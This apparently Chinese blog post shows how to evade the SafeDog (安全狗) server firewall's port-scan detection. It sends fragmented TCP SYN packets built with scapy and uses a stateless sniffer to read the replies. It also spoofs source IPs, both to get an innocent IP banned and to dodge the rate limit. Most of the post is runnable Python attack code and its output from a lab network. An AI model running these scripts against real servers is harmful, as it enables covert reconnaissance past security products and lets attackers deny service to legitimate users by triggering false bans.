0x00 前言
在一次自己做的检测爆破和CC攻击的工具中,感觉纰漏有很多,再次想到了安全狗是如何做防御的,尝试地去绕过安全狗。也去使用学到的TCP/IP知识去实践一波。
0x01 过程
端口扫描地时候全接连和半连接比较稳定,而安全狗是对接受带有SYN的TCP报文有检测机制,如果在10秒钟内累计200个则会触发防御机制,会封掉该IP。后来想到使用分片,看看安全狗是否会对分片的数据包进行重组,以及对伪造ip是如何处理的。
环境:Linux、python2.7
库:scapy(这个库只适合学习用,真实环境用不了,速度太慢了,即使是无状态的端口扫描也是无法忍受)
IP包
只有在使用端口使用分片进行绕过。如何进行分片,需要对IPs数据包格式了解,IP固定头部20个字节,在分片中比较关注的是:
标识 (Identification):相同的标识字段的值使分片后的各数据报片最后能正确地重装成为原来的数据报。
标志 (Flags):占3 位,但目前只有2位有意义. 标志字段中的最低位记为 MF(More Fragment).MF=1即表示后面"还有分片"的数据报.MF=0表示这已是若干数据报片中的最后一个.标志字段中间的一位记为DF(Don't Fragment),意思是"不能分片",只有当 DF=0时才允许分片.
片偏移(Fragment offset):占13位,较长的分组在分片后,某片在原分组中的相对位置.也就是说,相对用户数据字段的起点,该片从何处开始.片偏移以 8个字节为偏移单位,这就是说,每个分片的长度一定是 8字节(64位)的整数倍.
其他的比如校验和、ttl值scapy会自行处理的。这里proto=0x06为tcp协议、flags=0x01需要分片、frag=0、1、2分片顺序。
one_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=0)
two_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=1)
three_part_request = IP(dst=dst_ip, ttl=49, flags=0x00, proto=0x06, id=packet_id, frag=2)
TCP报文
在构造TCP报文的时候,只有校验和的构造比较麻烦了点。我直接抓取从wireshark中抓取了第一个握手报文,
1、TCP/UDP会额外将一个伪首部加入计算,伪首部包括:32bit的源/目的IP地址,8bit的补零,8bit的协议号,以及16bit的TCP/UDP报文长度(头+数据)
2、需要将校验和的两个字段设置为0x0000,下面data3的前面两个字节就是校验和,已经置0。
data1 = '\xb2\x00\x00\x50\xd7\x23\xb8\xa9'
data2 = '\x00\x00\x00\x00\x50\x02\x04\x00'
data3 = '\x00\x00\x00\x00'
phdr = pseudo_header(one_part_request.src, one_part_request.dst, socket.IPPROTO_TCP, len(tcp_raw))
path_int = checksum(phdr + tcp_raw)
path_hex = format(path_int, '04x')
print(path_hex)
data3 = path_hex.decode('hex') + data3[2:]
这样TCP报文也构造好了。
from scapy.all import *
def pseudo_header(ip_src, ip_dst, ip_proto, length):
"""
Return a pseudo header according to RFC768
"""
# Prepare the binary representation of the pseudo header
return struct.pack("!4s4sHH", inet_aton(ip_src), inet_aton(ip_dst), ip_proto, length)
#data
data1 = '\xb2\x00\x00\x50\xd7\x23\xb8\xa9'
data2 = '\x00\x00\x00\x00\x50\x02\x04\x00'
data3 = '\x00\x00\x00\x00'
dst_ip = '192.168.100.101'
packet_id = random.randint(10000, 2**16-1)
tcp_raw = data1 + data2 + data3
# set parameters for ip packet
one_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=0)
two_part_request = IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=1)
three_part_request = IP(dst=dst_ip, ttl=49, flags=0x00, proto=0x06, id=packet_id, frag=2)
# repleace checksum in data3
phdr = pseudo_header(one_part_request.src, one_part_request.dst, socket.IPPROTO_TCP, len(tcp_raw))
path_int = checksum(phdr + tcp_raw)
path_hex = format(path_int, '04x')
print(path_hex)
data3 = path_hex.decode('hex') + data3[2:]
# send
send(one_part_request / Raw(data1), verbose=False, return_packets=False)
send(two_part_request / Raw(data2), verbose=False, return_packets=False)
send(three_part_request / Raw(data3), verbose=False, return_packets=False)
上面的比较复杂,因为是对scapy包不熟,下面使用scapy构造tcp包。
使用scrapy构造好的分片
监听
采用无状态扫描,监听网卡的返回报文,分析是否端口是否开放,这里filter是使用tcpdump的语法。
from scapy.all import *
iface = 'eth0'
target_ip = '192.168.100.101'
def prn(pkt):
print(pkt[IP].src + ":" + str(pkt[IP].sport) + " open")
def listen_port():
sniff(iface=iface, filter='tcp and src host %s and tcp[13:1] = 18'%target_ip, prn=prn)
listen_port()
192.168.100.100是扫描器ip,192.168.100.101是目标ip。
wireshark抓包可以看到发送了三个IPv4数据包,然后192.168.100.101返回了SYN+ACK的报文。
我们的监听器也监听到了:
192.168.100.101:80 open
查看下报文:这里由于IP包小于60个字节,链路层会用0x00填充填充到60个字节
0x02 伪造源ip
发现还可以伪造源IP,因为就在同一个网段,所以能够进行伪造ip。而安全狗直接将解析IP包里面的ip作为真正的ip。
误封ip
由于伪造ip,可以禁止某ip访问安装安全狗的服务器。
from scapy.all import *
for i in range(1,1000):
send(IP(src="192.168.100.133",dst="192.168.100.101") / TCP(sport=RandShort(),dport=i),verbose=False)
绕过频率限制
from scapy.all import *
import socket
ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
for i in range(435,446):
send(IP(src=ip,dst="192.168.100.101") / TCP(sport=RandShort(),dport=i),verbose=False)
伪造源ip的时候,还是会返回到本机上。当B收到A的数据包后,直接进行A到B的反向MAC替换过程。反向过程中,每一步省略掉ARP请求NEXT HOP的MAC,因为MAC表已经建立起来。不需要通过ip和子网掩码计算是否在同一网段,决定是否直接发送目的ip还是路由。所以伪造了源ip,但是还是可以接受到返回报文,而安全狗记录却是那些伪造的ip。
上面针对同一网段的ip,如果有nat,源ip和端口会变,所以即使伪造访问的也是你的真实ip,并且接收不到不到返回报文,因为是网关会疯狂发arp报文,寻找这些伪造ip,192.168.100.2疯狂tell这些伪造的源IP
参考
https://www.itread01.com/content/1504457779.html
TCP checksum计算
https://github.com/secdev/scapy/pull/691/commits/10210cbe4ba2b1173c8eb3511cad1e296c696edd
http://www.voidcn.com/article/p-htnclmhf-wq.html